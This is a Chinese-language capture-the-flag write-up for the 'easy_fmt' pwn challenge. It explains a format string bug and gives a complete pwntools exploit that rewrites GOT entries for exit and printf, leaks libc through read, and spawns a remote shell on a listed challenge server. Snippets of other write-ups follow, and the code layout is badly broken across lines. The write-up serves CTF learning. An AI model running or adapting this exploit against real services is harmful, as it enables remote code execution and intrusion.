首先,檢查一下程式的保護機制
然後,我們用ida分析一下
存在乙個明顯的格式化字串漏洞,但是只能用一次,後面exit(0)會結束程式
checkin需要爆破
是乙個隨機數,且只有一位,我們直接輸入2,成功率1/10
為了不讓程式退出,多次利用printf,我們就得利用第一次的printf把exit的got表內容修改為0x400982,這樣,我們就能一直處於乙個迴圈,多次利用printf
由於relro為partial relro,是延遲繫結,因此,exit的got表初始值為這個
因此,我們只需要修改後兩位元組#修改
exit
的got
表,指向
main+0x7c
處,即形成乙個迴圈,這樣我們能繼續使用
printf
payload =
'%'+ str(0x982) +
'c%10$hn'
payload = payload.ljust(16,
'b') + p64(exit_got)
sh.sendline(payload)
接下來,為了得到system位址,我們準備洩露read函式位址,得到libc版本即基位址#洩露
read
位址payload =
'%10$sbbb'
+ p64(read_got)
sh.recvuntil(
'slogan: '
) sh.sendline(payload)
sh.recvuntil(
'slogan: '
) sh.recv(1)
read_addr = u64(sh.recvuntil(
'bbb'
,drop = true).ljust(8,
'\x00'
))
libc = libcsearcher(
'read'
,read_addr)
libc_base = read_addr - libc.dump(
'read'
) system_addr = libc_base + libc.dump(
'system'
)print'libc_base='
,hex(libc_base)
print'system_addr='
,hex(system_addr)
接下來,我們需要修改printf的got表內容,指向system即可
綜上,我們的exp指令碼
#coding:utf8
frompwnimport*
fromlibcsearcherimport*
#sh = process('./easy_fmt')
sh = remote(
'111.198.29.45'
,53528)
elf = elf(
'./easy_fmt'
) printf_got = elf.got[
'printf'
] read_got = elf.got[
'read'
] exit_got = elf.got[
'exit'
] sh.sendlineafter(
'enter:'
,'2'
) #
修改exit
的got
表,指向
main+0x7c
處,即形成乙個迴圈,這樣我們能繼續使用
printf
payload =
'%'+ str(0x982) +
'c%10$hn'
payload = payload.ljust(16,
'b') + p64(exit_got)
sh.sendline(payload) #洩露
read
位址payload =
'%10$sbbb'
+ p64(read_got)
sh.recvuntil(
'slogan: '
) sh.sendline(payload)
sh.recvuntil(
'slogan: '
) sh.recv(1)
read_addr = u64(sh.recvuntil(
'bbb'
,drop = true).ljust(8,
'\x00'
))
#print hex(read_addr)
libc = libcsearcher(
'read'
,read_addr)
libc_base = read_addr - libc.dump(
'read'
) system_addr = libc_base + libc.dump(
'system'
)print'libc_base='
,hex(libc_base)
print'system_addr='
,hex(system_addr) #修改
printf
的got
表,只需修改低
3位元組即可到
system
data = system_addr & 0xff
payload =
'%'+ str(data) +
'c%14$hhn'
data = ((system_addr & 0xffffff) >> 8) - data
payload +=
'%'+ str(data) +
'c%15$hn'
payload = payload.ljust(32,
'b') + p64(printf_got) + p64(printf_got+1)
sh.recvuntil(
'slogan: '
) sh.sendline(payload)
#get shell
sh.sendlineafter(
'slogan: '
,'/bin/sh'
) sh.interactive()
攻防世界PWN之Welpwn題解
首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...
攻防世界PWN之dubblesort題解
首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...
攻防世界PWN之Nobug題解
首先,檢查一下程式的保護機制 pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。然後,我們用ida分析一下 看似好像這裡sprintf不存在漏洞,我們再看看其他函式 看見乙個很複雜的函式,我們看看那個位址處是什麼 是查表法,看起...